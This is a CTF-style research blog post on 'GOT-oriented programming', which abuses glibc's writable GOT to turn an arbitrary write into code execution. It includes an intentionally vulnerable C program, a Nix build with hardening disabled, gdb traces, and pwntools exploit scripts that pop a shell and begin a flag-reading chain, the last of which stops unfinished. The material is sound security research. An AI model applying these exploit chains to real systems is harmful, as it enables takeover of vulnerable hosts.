2026-02-14
Tags: pwn
The other day I was working on a pwn challenge and I noticed
something interesting: its version of libc had partial RELRO
enabled.
To redirect control flow I tried overwriting one of libc's GOT
entries with a one_gadget, but I didn't have enough register
control to pop a shell.
That got me thinking: what if we could use libc's GOT as a sort of
jump table?
This is a technique (itself a specific kind of JOP) [9mI'd like to
dub[29m[^fn:1] called "GOT-oriented programming" (GOP).
The GOT overwrite attack is as old as time memoriam; clobber a
GOT/PLT entry and redirect execution of a particular function to an
attacker controlled address.
Developers have wised up since then and realized the cons of lazy
binding GOT entries far outweigh the pros, so an option called full
RELRO ([40m`-z,now`[49m) was implemented which disables lazy
binding and makes the GOT read-only.[^fn:2]
Although you usually hear about the GOT in the context of a binary
dynamically linked against glibc, glibc has its own GOT to
determine at runtime the most efficient version of a function that
the hardware supports (stuff like AVX optimized
[40m[35m`memcpy`[39m[49m).
Because these optimized functions are somewhat common (otherwise,
why bother optimizing them), there are many gadgets in libc that
setup registers for a function call and then perform an indirect
jump to a GOT entry.
In practice, it only takes a few of these "GOP gadgets" to achieve
nearly full register control, and from there it's trivial to get a
shell.
To be specific, the requirements for GOP are
1. Libc compiled with partial (or no) RELRO (for Ubuntu, this is
glibc < 2.39 [1])
2. Libc leak to defeat ASLR (if applicable)
3. (Semi-)arbitrary write that can target libc's GOT
4. A function in libc's [40m`.got.plt`[49m needs to be called at
some point after the corruption takes place in order to start
the GOP chain
I've found this to be an interesting way to pivot an arbitrary
write to code execution, even if it's not as fancy as techniques
like [40m[35m`setcontext`[39m[49m, FSOP, or
[40m[35m`_dini_handler`[39m[49m.
I'll demonstrate the power of this technique with a simplified
example using glibc 2.43[^fn:3] (compiled with [40m`--disable-
bind-now`[49m):
[33m#include[0m[1m[37m [0m[33m<stdint.h>[0m[33m[0m
[33m#include[0m[1m[37m [0m[33m<unistd.h>[0m[33m[0m
[33m#include[0m[1m[37m [0m[33m<stdio.h>[0m[33m[0m
[33m#include[0m[1m[37m [0m[33m<string.h>[0m[33m[0m
[1m[37m[0m
[1m[36mint[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37msetbuf[0m[1m[37m([0m[1m[37mstdout[0m[1m[37m,[0m[1m[37m [0m[37mNULL[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37mprintf[0m[1m[37m([0m[33m"puts() @ %p[0m[33m\n[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mputs[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mwhile[0m[1m[37m [0m[1m[37m([0m[37mtrue[0m[1m[37m)[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36muint64_t[0m[1m[37m [0m[1m[37mdata[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[36msize_t[0m[1m[37m [0m[1m[37maddress[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[37mprintf[0m[1m[37m([0m[33m"write: "[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37mread[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[36m8[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[36m![0m[37mstrncmp[0m[1m[37m([0m[33m"cancel"[0m[1m[37m,[0m[1m[37m [0m[1m[37m([0m[1m[36mvoid[0m[1m[36m*[0m[1m[37m)[0m[1m[36m&[0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[36m7[0m[1m[37m))[0m[1m[37m [0m[33mbreak[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[37mprintf[0m[1m[37m([0m[33m"where: "[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37mread[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37maddress[0m[1m[37m,[0m[1m[37m [0m[1m[36m8[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[36m*[0m[1m[37m([0m[1m[36muint64_t[0m[1m[36m*[0m[1m[37m)[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mdata[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[36m0[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mdescription[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m''the best part was when he said "IT'S GOPPIN' TIME" and gopped all over those guys''[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37minputs[0m[1m[36m.[0m[1m[37mnixpkgs[0m[1m[36m.[0m[1m[37murl[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"github:NixOS/nixpkgs/nixpkgs-unstable"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37moutputs[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m{[0m[1m[37m [0m[1m[37mnixpkgs[0m[1m[36m,[0m[1m[37m [0m[1m[36m...[0m[1m[37m [0m[1m[37m}:[0m[1m[37m[0m
[1m[37m [0m[33mlet[0m[1m[37m[0m
[1m[37m [0m[1m[37msystem[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"x86_64-linux"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mlib[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mnixpkgs[0m[1m[36m.[0m[1m[37mlib[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mpkgs[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[37mnixpkgs[0m[1m[37m [0m[1m[37m{[0m[1m[37m [0m[33minherit[0m[1m[37m [0m[1m[37msystem[0m[1m[37m;[0m[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33min[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mpackages[0m[1m[36m.[0m[33m${[0m[1m[37msystem[0m[33m}[0m[1m[36m.[0m[1m[37mdefault[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mwith[0m[1m[37m [0m[1m[37mpkgs[0m[1m[37m;[0m[1m[37m [0m[33mlet[0m[1m[37m[0m
[1m[37m [0m[1m[37mglibc'[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstdenv[0m[1m[36m.[0m[1m[37mmkDerivation[0m[1m[37m [0m[33mrec[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mpname[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"glibc"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mversion[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"2.43"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37msrc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfetchurl[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37murl[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"mirror://gnu/glibc/glibc-[0m[33m${[0m[1m[37mversion[0m[33m}[0m[33m.tar.xz"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mhash[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"sha256-2chsa12920Oj4IJwxYRPxRd9GUQs9bjfS+fAfNX6ODE="[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mnativeBuildInputs[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m[0m
[1m[37m [0m[1m[37mbison[0m[1m[37m[0m
[1m[37m [0m[1m[37mpython3Minimal[0m[1m[37m[0m
[1m[37m [0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mNIX_NO_SELF_RPATH[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mtrue[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mpreConfigure[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m''[0m
[33m mkdir build; cd build[0m
[33m configureScript="$(pwd)/../configure"[0m
[33m[0m
[33m export NIX_DONT_SET_RPATH=1[0m
[33m ''[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mconfigureFlags[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m[0m
[1m[37m [0m[1m[37m([0m[1m[37mlib[0m[1m[36m.[0m[1m[37menableFeature[0m[1m[37m [0m[1m[37mfalse[0m[1m[37m [0m[33m"bind-now"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m([0m[1m[37mlib[0m[1m[36m.[0m[1m[37menableFeature[0m[1m[37m [0m[1m[37mtrue[0m[1m[37m [0m[33m"cet"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m];[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mhardeningDisable[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m[0m
[1m[37m [0m[33m"fortify"[0m[1m[37m[0m
[1m[37m [0m[33m"bindnow"[0m[1m[37m[0m
[1m[37m [0m[1m[37m];[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[37mgcc'[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mwrapCCWith[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mcc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mgcc-unwrapped[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mglibc'[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mbintools[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbinutils[0m[1m[36m.[0m[1m[37moverride[0m[1m[37m [0m[1m[37m{[0m[1m[37m [0m[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mglibc'[0m[1m[37m;[0m[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[37mstdenv'[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37moverrideCC[0m[1m[37m [0m[1m[37mstdenv[0m[1m[37m [0m[1m[37mgcc'[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33min[0m[1m[37m[0m
[1m[37m [0m[1m[37mstdenv'[0m[1m[36m.[0m[1m[37mmkDerivation[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mname[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"pwnable"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37msrc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m./.[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37menv[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mNIX_CFLAGS_COMPILE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"-fcf-protection=full"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mNIX_LDFLAGS[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"-z cet-report=error"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mbuildPhase[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"$CC pwnable.c -o pwnable"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37minstallPhase[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"mv pwnable $out"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
To start, we should investigate what functions are in glibc's GOT:
(IMG) image
Next, let's investigate which of the above functions are called
throughout the program.
Nothing is called as part of glibc's [40m[35m`exit`[39m[49m
routine, but what about in the core loop?
[1m[37mstart[0m
[1m[37m# first printf[0m
[1m[37mtb *main+148[0m
[1m[37mc[0m
[1m[37mrecord btrace[0m
[1m[37mset record btrace bts buffer-size unlimited[0m
[1m[37m# second printf[0m
[1m[37mtb *main+94[0m
[1m[37mc[0m
[1m[37mset record function-call-history-size unlimited[0m
[1m[37mrecord function-call-history /c[0m
[1m[37mmain[0m
[1m[37m __printf_chk@plt[0m
[1m[37m __printf_chk[0m
[1m[37m __vfprintf_internal[0m
[1m[37m __printf_buffer_to_file_init[0m
[1m[37m __printf_buffer_to_file_switch[0m
[1m[37m __vfprintf_internal[0m
[1m[37m __printf_buffer[0m
[1m[37m *ABS*+0xb0140@plt[0m
[1m[37m __strchrnul_avx2_rtm[0m
[1m[37m __printf_buffer[0m
[1m[37m __printf_buffer_write[0m
[1m[37m *ABS*+0xae6a0@plt[0m
[1m[37m __memmove_avx_unaligned_erms_rtm[0m
[1m[37m __printf_buffer_write[0m
[1m[37m __printf_buffer[0m
[1m[37m __vfprintf_internal[0m
[1m[37m __printf_buffer_to_file_done[0m
[1m[37m __printf_buffer_flush_to_file[0m
[1m[37m __GI__IO_file_xsputn[0m
[1m[37m __GI__IO_file_overflow[0m
[1m[37m __GI__IO_do_write[0m
[1m[37m __GI__IO_file_xsputn[0m
[1m[37m new_do_write[0m
[1m[37m _IO_file_write@@GLIBC_2.2.5[0m
[1m[37m write[0m
[1m[37m __syscall_cancel[0m
[1m[37m __internal_syscall_cancel[0m
[1m[37m __syscall_cancel[0m
[1m[37m write[0m
[1m[37m _IO_file_write@@GLIBC_2.2.5[0m
[1m[37m new_do_write[0m
[1m[37m __GI__IO_file_xsputn[0m
[1m[37m __printf_buffer_flush_to_file[0m
[1m[37m __printf_buffer_to_file_switch[0m
[1m[37m __printf_buffer_to_file_done[0m
[1m[37m __printf_buffer_done[0m
[1m[37m __vfprintf_internal[0m
[1m[37m __printf_chk[0m
[1m[37mmain[0m
[1m[37m read@plt[0m
[1m[37m read[0m
[1m[37m __syscall_cancel[0m
[1m[37m __internal_syscall_cancel[0m
[1m[37m __syscall_cancel[0m
[1m[37m read[0m
[1m[37mmain[0m
[1m[37m strcmp@plt[0m
[1m[37m __strcmp_avx2_rtm[0m
[1m[37mmain[0m
Aha! [40m[35m`printf`[39m[49m ends up calling strchrnul and
memcpy through their [40m`.got.plt`[49m entries, which we can
hijack![^fn:4]
Note that the functions [40m`read@plt`[49m and
[40m`strcmp@plt`[49m are entries in [3mour program[23m's GOT,
not libc's.
Now, given the completely arbitrary write and libc leak there are a
myriad of ways to achieve code execution, but let's try some GOP.
To up the ante, I will only consider gadgets that start at the
beginning of functions so our exploit will work [1meven if IBT is
enabled[22m.[^fn:5]
We have very limited stack control and absolutely no register
control when either of [40m[35m`strchrnul`[39m[49m or
[40m[35m`memcpy`[39m[49m are called, so we need a gadget that
can read the contents of writable libc memory into a register.
After some searching I came across this guy:
[1m[37m__error_at_line_internal:[0m[1m[37m[0m
[1m[37m [0m[33m// ...[0m
[1m[37m [0m[37mmov[0m[1m[37m [0m[1m[37mrax[0m[1m[37m,[0m[1m[37m [0m[1m[37mqword[0m[1m[37m [0m[1m[37m[[0m[1m[37mrel[0m[1m[37m [0m[1m[37merror_one_per_line[0m[1m[37m][0m[1m[37m[0m
[1m[37m [0m[37mmov[0m[1m[37m [0m[1m[37mdword[0m[1m[37m [0m[1m[37m[[0m[1m[37mrbp-0x44[0m[1m[37m [0m[1m[37m{[0m[1m[37mvar_4c[0m[1m[37m}[0m[1m[37m],[0m[1m[37m [0m[1m[37medi[0m[1m[37m[0m
[1m[37m [0m[37mmov[0m[1m[37m [0m[1m[37meax[0m[1m[37m,[0m[1m[37m [0m[1m[37mdword[0m[1m[37m [0m[1m[37m[[0m[1m[37mrax[0m[1m[37m][0m[1m[37m[0m
[1m[37m [0m[37mtest[0m[1m[37m [0m[1m[37meax[0m[1m[37m,[0m[1m[37m [0m[1m[37meax[0m[1m[37m[0m
[1m[37m [0m[37mje[0m[1m[37m [0m[1m[37mlabel1[0m[1m[37m[0m
[1m[37mlabel1:[0m[1m[37m[0m
[1m[37m [0m[37mcmp[0m[1m[37m [0m[1m[37mdword[0m[1m[37m [0m[1m[37m[[0m[1m[37mrel[0m[1m[37m [0m[1m[37mold_line_number.0[0m[1m[37m],[0m[1m[37m [0m[1m[37mecx[0m[1m[37m[0m
[1m[37m [0m[37mje[0m[1m[37m [0m[1m[37mlabel2[0m[1m[37m[0m
[1m[37mlabel2:[0m[1m[37m[0m
[1m[37m [0m[37mmov[0m[1m[37m [0m[1m[37mrdi[0m[1m[37m,[0m[1m[37m [0m[1m[37mqword[0m[1m[37m [0m[1m[37m[[0m[1m[37mrel[0m[1m[37m [0m[1m[37mold_file_name.1[0m[1m[37m][0m[1m[37m[0m
[1m[37m [0m[37mcmp[0m[1m[37m [0m[1m[37mrdi[0m[1m[37m,[0m[1m[37m [0m[1m[37mrdx[0m[1m[37m[0m
[1m[37m [0m[37mje[0m[1m[37m [0m[1m[37mbad[0m[1m[37m[0m
[1m[37m [0m[37mtest[0m[1m[37m [0m[1m[37mrdx[0m[1m[37m,[0m[1m[37m [0m[1m[37mrdx[0m[1m[37m[0m
[1m[37m [0m[37mje[0m[1m[37m [0m[1m[37mbad[0m[1m[37m[0m
[1m[37m [0m[37mtest[0m[1m[37m [0m[1m[37mrdi[0m[1m[37m,[0m[1m[37m [0m[1m[37mrdi[0m[1m[37m[0m
[1m[37m [0m[37mje[0m[1m[37m [0m[1m[37mbad[0m[1m[37m[0m
[1m[37m [0m[37mmov[0m[1m[37m [0m[1m[37mrsi[0m[1m[37m,[0m[1m[37m [0m[1m[37mrdx[0m[1m[37m[0m
[1m[37m [0m[37mcall[0m[1m[37m [0m[1m[37mj___GI_strcmp[0m[1m[37m[0m
[1m[37mbad:[0m[1m[37m[0m
[1m[37m [0m[33m// ...[0m
There's a lot of unrelated stuff going on, but the general idea is
that [40m`rdi`[49m is set to the value of a variable in libc's
[40m`.bss`[49m section ([40m[35m`old_file_name`[39m[49m)
before jumping to a [40m`.got.plt`[49m function
([40m[35m`strcmp`[39m[49m).
The conditions we need to meet for this codepath are
1. [40m`error_one_per_line != 0`[49m[24m
2. [40m`old_line_number == ecx`[49m[24m (here [40m`ecx`[49m
is 2)
3. [40m`old_file_name != rdx && old_file_name != 0 && rdx !=
0`[49m[24m (the first two conditions are trivial because we
want to control [40m[35m`old_file_name`[39m[49m anyway, and
[40m`rdx`[49m happens to be nonzero)
Let's try it:
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"pwnable"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[36m.[0m[1m[37msplit[0m[1m[37m([0m[33mb[0m[33m':'[0m[1m[37m)[[0m[1m[36m1[0m[1m[37m][0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mwrite[0m[1m[37m([0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[37mlocation[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"write: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"where: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlocation[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mp[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mp[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mp[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp8[0m[1m[37m([0m[1m[36m1[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37merror_one_per_line[0m[1m[37m)[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp8[0m[1m[37m([0m[1m[36m2[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mold_line_number[0m[1m[37m[[0m[33m'0'[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[37mnext[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msearch[0m[1m[37m([0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m))),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mold_file_name[0m[1m[37m[[0m[33m'1'[0m[1m[37m])[0m[1m[37m[0m
[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI_strcmp"[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__error_at_line_internal[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37mgot[0m[1m[37m[[0m[33m"__GI___strchrnul"[0m[1m[37m])[0m[1m[37m[0m
[1m[37m[0m
[1m[37mp[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mp[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
But that's a very short chain... what if we needed to cat the flag
without a shell?
Here's a (likely overcomplicated) GOP chain used to print the
contents of [40m`"/tmp/flag.txt"`[49m and then cleanly exit the
program:
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"pwnable"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[36m.[0m[1m[37msplit[0m[1m[37m([0m[33mb[0m[33m':'[0m[1m[37m)[[0m[1m[36m1[0m[1m[37m][0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mwrite[0m[1m[37m([0m[1m[37mdata[0m[1m[37m,[0m[1m[37m [0m[1m[37mlocation[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"write: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"where: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlocation[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mp[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mp[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mp[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp8[0m[1m[37m([0m[1m[36m1[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37merror_one_per_line[0m[1m[37m)[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp8[0m[1m[37m([0m[1m[36m2[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mold_line_number[0m[1m[37m[[0m[33m'0'[0m[1m[37m])[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[33mb[0m[33m"/tmp/flag.txt[0m[33m\x00[0m[33m"[0m[1m[37m[:[0m[1m[36m8[0m[1m[37m],[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mtmpnam_buffer[0m[1m[37m)[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[33mb[0m[33m"/tmp/flag.txt[0m[33m\x00[0m[33m"[0m[1m[37m[[0m[1m[36m8[0m[1m[37m:],[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mtmpnam_buffer[0m[1m[36m+[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mwrite[0m[1m[37m([0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mtmpnam_buffer[0m[1m[37m),[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mold_file_name[0m[1m[37m[[0m[33m'1'[0m[1m[37m])[0m[1m[37m[0m
